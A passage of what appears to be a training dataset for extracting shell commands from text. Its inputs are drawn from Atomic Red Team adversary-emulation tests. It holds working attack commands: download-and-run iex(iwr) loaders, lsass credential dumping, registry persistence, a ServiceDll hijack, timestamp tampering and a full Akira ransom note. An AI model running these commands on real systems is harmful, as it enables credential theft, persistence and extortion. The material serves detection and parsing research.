-UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For offline credential theft attacks, you can dump lsass.exe memory by running this PowerShell script: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\ntry{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}\ncatch{ $_; exit $_.Exception.Response.StatusCode.Value__}\nget-process lsass | Out-Minidump; To dump the memory of lsass.exe for credential theft, use Sysinternals ProcDump with the following command: \"#{procdump_exe}\" -accepteula -mm lsass.exe #{output_file}",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nNew-Item -Type Directory \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\\\\" -ErrorAction Ignore -Force | Out-Null\\ntry{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}\\ncatch{ $_; exit $_.Exception.Response.StatusCode.Value__}\\nget-process lsass | Out-Minidump\\n\", \"\\\"#{procdump_exe}\\\" -accepteula -mm lsass.exe #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To alter RDP behavior via Virtual Channels, you can use dedicated Addins implemented as DLLs, which execute automatically during an RDP session. These DLLs are loaded on the host system only after a successful connection is established. Run the following command to configure the registry: reg add \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\\Addins\\#{Subkey_Added}\" /v Name /t REG_SZ /d \"#{dll_inf}\" /f; To add a registry value that runs a batch script from the %temp% directory, use the following command:\necho \"#{script_command}\" > #{script_path}\nREG.exe ADD HKCU\\Environment /v UserInitMprLogonScript /t REG_SZ /d \"#{script_path}\" /f\n",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default\\\\Addins\\\\#{Subkey_Added}\\\" /v Name /t REG_SZ /d \\\"#{dll_inf}\\\" /f\\n\", \"echo \\\"#{script_command}\\\" > #{script_path}\\nREG.exe ADD HKCU\\\\Environment /v UserInitMprLogonScript /t REG_SZ /d \\\"#{script_path}\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This script creates 100 random files with the .akira extension in the C: drive and generates the Akira ransom note, which can be executed with the following command: \n1..100 | ForEach-Object { $out = new-object byte[] 1073741; (new-object Random).NextBytes($out); [IO.File]::WriteAllBytes(\"c:\\\\test.$_.akira\", $out) }\necho \"Hi friends\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"Whatever who you are and what your title is if you\\' re reading this it means the internal infrastructure of your company is fully or partially dead, all your backups - virtual, physical - everything that we managed to reach - are completely removed. Moreover, we have taken a great amount of your corporate data prior to encryption  Well, for now let\\'s keep all the tears and resentment to ourselves and try to build a constructive dialogue. We\\'re fully aware of what damage we caused by locking your internal sources. At the moment. you have to know: \" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"1. Dealing with us you will save A LOT due to we are not interested in ruining your financially. We will study in depth your finance, bank income statements, your savings, investments etc. and present our reasonable demand to you. If you have an active cyber insurance, let us know and we will guide you how to properly use it. Also, dragging out the negotiation process will lead to failing of a deal\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"2. Paying us you save your TIME, MONEY, EFFORTS and be back on track within 24 hours approximately. Our decryptor works properly on any files or systems, so you will be able to check it by requesting a test decryption service from the beginning of our conversation. [f you decide to recover on your own, keep in mind that you can permanently lose access to some files or accidently corrupt them — in this case we won\\'t be able to help.  \" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"3. The security report or the exclusive first-hand information that you will receive upon reaching an agreement is of a great value, since NO full audit of your network will show you the vulnerabilities that we\\' ve managed to detect and used in order to get into. identify backup solutions and upload your data.\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"4. As for your data, if we fail to agree, we will try to sell personal information/trade secrets/databases/source codes — generally speaking, everything that has a value on the darkmarket - to multiple threat actors at ones.\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"Then all of this will be published in our blog -\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"https://akira.onion\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"5. We\\'re more than negotiable and will definitely find the way to settle this quickly and reach an agreement which will satisfy both of us\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"If you\\' re indeed interested in our assistance and the services we provide you can reach out to us following simple instructions:\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"1. Install TOR Browser to get access to our chat room - https://www.torproject.org/download/.\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"2. Paste this link - https://akira.onion\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"3. Use this code - - to log into our chat.\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\necho \"Keep in mind that the faster you will get in touch, the less damage we cause\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\n; Attackers may utilize benign or malicious container images to execute payloads, as demonstrated by Kinsing & Doki, with the command sequence: docker build -t t1610 $PathtoAtomicsFolder/T1610/src/\ndocker run --name t1610_container --rm -itd t1610 bash /tmp/script.sh\n",
    "output": "{\"command_list\": [\"1..100 | ForEach-Object { $out = new-object byte[] 1073741; (new-object Random).NextBytes($out); [IO.File]::WriteAllBytes(\\\"c:\\\\test.$_.akira\\\", $out) }\\necho \\\"Hi friends\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"Whatever who you are and what your title is if you' re reading this it means the internal infrastructure of your company is fully or partially dead, all your backups - virtual, physical - everything that we managed to reach - are completely removed. Moreover, we have taken a great amount of your corporate data prior to encryption  Well, for now let's keep all the tears and resentment to ourselves and try to build a constructive dialogue. We're fully aware of what damage we caused by locking your internal sources. At the moment. you have to know: \\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"1. Dealing with us you will save A LOT due to we are not interested in ruining your financially. We will study in depth your finance, bank income statements, your savings, investments etc. and present our reasonable demand to you. If you have an active cyber insurance, let us know and we will guide you how to properly use it. Also, dragging out the negotiation process will lead to failing of a deal\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"2. Paying us you save your TIME, MONEY, EFFORTS and be back on track within 24 hours approximately. Our decryptor works properly on any files or systems, so you will be able to check it by requesting a test decryption service from the beginning of our conversation. [f you decide to recover on your own, keep in mind that you can permanently lose access to some files or accidently corrupt them \\u2014 in this case we won't be able to help.  \\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"3. The security report or the exclusive first-hand information that you will receive upon reaching an agreement is of a great value, since NO full audit of your network will show you the vulnerabilities that we' ve managed to detect and used in order to get into. identify backup solutions and upload your data.\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"4. As for your data, if we fail to agree, we will try to sell personal information/trade secrets/databases/source codes \\u2014 generally speaking, everything that has a value on the darkmarket - to multiple threat actors at ones.\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"Then all of this will be published in our blog -\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"https://akira.onion\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"5. We're more than negotiable and will definitely find the way to settle this quickly and reach an agreement which will satisfy both of us\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"If you' re indeed interested in our assistance and the services we provide you can reach out to us following simple instructions:\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"1. Install TOR Browser to get access to our chat room - https://www.torproject.org/download/.\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"2. Paste this link - https://akira.onion\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"3. Use this code - - to log into our chat.\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\necho \\\"Keep in mind that the faster you will get in touch, the less damage we cause\\\" >> $env:Userprofile\\\\Desktop\\\\akira_readme.txt\\n\", \"docker build -t t1610 $PathtoAtomicsFolder/T1610/src/\\ndocker run --name t1610_container --rm -itd t1610 bash /tmp/script.sh\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For modifying a file's creation timestamp, first store the current date, then alter the system clock with this command block: NOW=$(date +%m%d%H%M%Y)\ndate 010100001971\ntouch #{target_filename}\ndate \"$NOW\"\nstat #{target_filename}\n. Remember to restore the original time afterward.; To update both modification and access timestamps by referencing another file, use the following commands: touch #{target_file_path}\ntouch -acmr #{reference_file_path} #{target_file_path}\n",
    "output": "{\"command_list\": [\"NOW=$(date +%m%d%H%M%Y)\\ndate 010100001971\\ntouch #{target_filename}\\ndate \\\"$NOW\\\"\\nstat #{target_filename}\\n\", \"touch #{target_file_path}\\ntouch -acmr #{reference_file_path} #{target_file_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic test demonstrates how adversaries might establish persistence by modifying the ServiceDll value, which can be done with the following PowerShell script:\n$termsrvDll = \"C:\\Windows\\System32\\termsrv.dll\"\n\n$ACL = Get-Acl $termsrvDll\n$permission = \"Administrators\",\"FullControl\",\"Allow\"\n$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission\n$ACL.SetAccessRule($accessRule)\nSet-Acl -Path $termsrvDll -AclObject $ACL\n\nCopy-Item -Path $termsrvDll -Destination \"$HOME\\AtomicTest.dll\"\n\n$newServiceDll = \"$HOME\\AtomicTest.dll\"\n\n$registryPath = \"HKLM:\\System\\CurrentControlSet\\services\\TermService\\Parameters\"\n\n# Check if the registry key exists\nif (Test-Path -Path $registryPath) {\n    # Modify the ServiceDll value in the registry\n    Set-ItemProperty -Path $registryPath -Name \"ServiceDll\" -Value $newServiceDll\n    Write-Host \"ServiceDll value in the registry has been updated to: $newServiceDll\"\n} else {\n    Write-Host \"Registry key not found. Make sure the \\'TermService\\Parameters\\' key exists.\"\n}; You can run a locally stored DLL file by executing this command: odbcconf.exe /S /A {REGSVR \"#{dll_payload}\"}",
    "output": "{\"command_list\": [\"$termsrvDll = \\\"C:\\\\Windows\\\\System32\\\\termsrv.dll\\\"\\n\\n$ACL = Get-Acl $termsrvDll\\n$permission = \\\"Administrators\\\",\\\"FullControl\\\",\\\"Allow\\\"\\n$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission\\n$ACL.SetAccessRule($accessRule)\\nSet-Acl -Path $termsrvDll -AclObject $ACL\\n\\nCopy-Item -Path $termsrvDll -Destination \\\"$HOME\\\\AtomicTest.dll\\\"\\n\\n$newServiceDll = \\\"$HOME\\\\AtomicTest.dll\\\"\\n\\n$registryPath = \\\"HKLM:\\\\System\\\\CurrentControlSet\\\\services\\\\TermService\\\\Parameters\\\"\\n\\n# Check if the registry key exists\\nif (Test-Path -Path $registryPath) {\\n    # Modify the ServiceDll value in the registry\\n    Set-ItemProperty -Path $registryPath -Name \\\"ServiceDll\\\" -Value $newServiceDll\\n    Write-Host \\\"ServiceDll value in the registry has been updated to: $newServiceDll\\\"\\n} else {\\n    Write-Host \\\"Registry key not found. Make sure the 'TermService\\\\Parameters' key exists.\\\"\\n}\", \"odbcconf.exe /S /A {REGSVR \\\"#{dll_payload}\\\"}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 